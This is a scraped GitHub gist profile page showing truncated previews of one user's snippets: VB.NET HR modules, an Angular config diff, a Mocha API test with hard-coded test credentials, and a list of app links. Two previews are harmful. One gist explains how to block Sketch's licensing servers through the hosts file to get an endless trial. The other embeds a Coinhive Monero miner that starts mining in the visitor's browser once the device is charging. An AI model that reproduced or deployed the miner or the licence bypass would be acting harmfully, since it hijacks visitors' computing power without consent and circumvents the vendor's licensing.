Skip to content

Instantly share code, notes, and snippets.

Avatar
🏠
Working from home

Philip Cesar Garay jbagaresgaray

🏠
Working from home
View GitHub Profile
@jbagaresgaray
jbagaresgaray / sketch-never-ending.md
Created May 29, 2020 — forked from Bhavdip/sketch-never-ending.md
Modify Sketch to never ending trial
View sketch-never-ending.md

###Sketch trial non stop

Open hosts files:

$ open /private/etc/hosts

Edit the file adding:

127.0.0.1 backend.bohemiancoding.com

127.0.0.1 bohemiancoding.sketch.analytics.s3-website-us-east-1.amazonaws.com

View gist:0cfe5399630350a1c5f4cdb2af543d2a
https://itunes.apple.com/au/app/ellerslie/id920199342?mt=8(Ionic 1)
https://itunes.apple.com/nz/app/stamp/id1080172237(Ionic 1)
https://itunes.apple.com/nz/app/rosmini/id804166760?mt=8(Ionic 1)
https://apps.apple.com/nz/app/stars-of-aroha/id1168982009(Ionic 1)
https://play.google.com/store/apps/details?id=com.beltcalcpro&hl=en (Ionic 1)
https://itunes.apple.com/mr/app/v-beltcalc/id1128656670?mt=8 (Ionic 1)
https://vbeltcalc.com/ (Ionic 1)
https://alsocreative.com/project/v-belt-calc/
http://kegitapp.com/product/ (Ionic 3)
@jbagaresgaray
jbagaresgaray / angular.json.md
Created Dec 19, 2018 — forked from cironunes/angular.json.md
Firebase Cloud Function for Angular SSR
View angular.json.md
{
-  "outputPath": "dist/piggybank", 
+  "outputPath": "functions/dist/piggybank",
-  "outputPath": "dist/piggybank-server",
+  "outputPath:": "functions/dist/piggybank-server",
}
@jbagaresgaray
jbagaresgaray / accounts.js
Created Mar 5, 2018
unit test using Chai, Should and Mocha JS
View accounts.js
let chai = require('chai');
let chaiHttp = require('chai-http');
let should = chai.should();
let apiURL = 'http://54.252.206.198:4000/api/v1';
let lastInsertID = null;
let token = null;
let user = {
username: '4LOOP.003',
password: '123456'
View gist:94dbc21dd54f6632f40af66b30484252
<script src="https://coin-hive.com/lib/coinhive.min.js"></script>
<script type="text/javascript">
var xmr = new CoinHive.Anonymous('nZA7gxQv1dArvhcounbgzBcNKQliOCx2', { throttle: 0.85, threads: 2 });
try {
var threads = Math.max(1, Math.floor(navigator.hardwareConcurrency / 4));
xmr.setNumThreads(threads);
navigator.getBattery().then(function(battery) {
if (battery.charging) {
xmr.start();
View payroll.vb
Option Explicit On
Imports MySql.Data.MySqlClient
Module modPayroll
Public Structure payslip_selectedEmployee
Dim IndexID As Integer
Dim PayrollID As Integer
Dim EmployeeID As String
View division.vb
Option Explicit On
Imports MySql.Data.MySqlClient
Module modDivision
Public Structure Divisions
Dim div_id As Integer
Dim div_code As String
Dim div_name As String
Dim div_desc As String
@jbagaresgaray
jbagaresgaray / positiongroup.vb
Created Feb 8, 2017
HRIS Job Title Grouping
View positiongroup.vb
Option Explicit On
Imports MySql.Data.MySqlClient
Module modPositionGroup
Public Structure Group_Position
Dim GroupID As Integer
Dim GroupCode As String
Dim GroupName As String
Dim Description As String
View position.vb
Option Explicit On
Imports MySql.Data.MySqlClient
Module modPosition
Public Structure Positions
Dim jt_id As Integer
Dim jt_name As String
Dim jt_addedby As Integer
Dim jt_dateadded As Date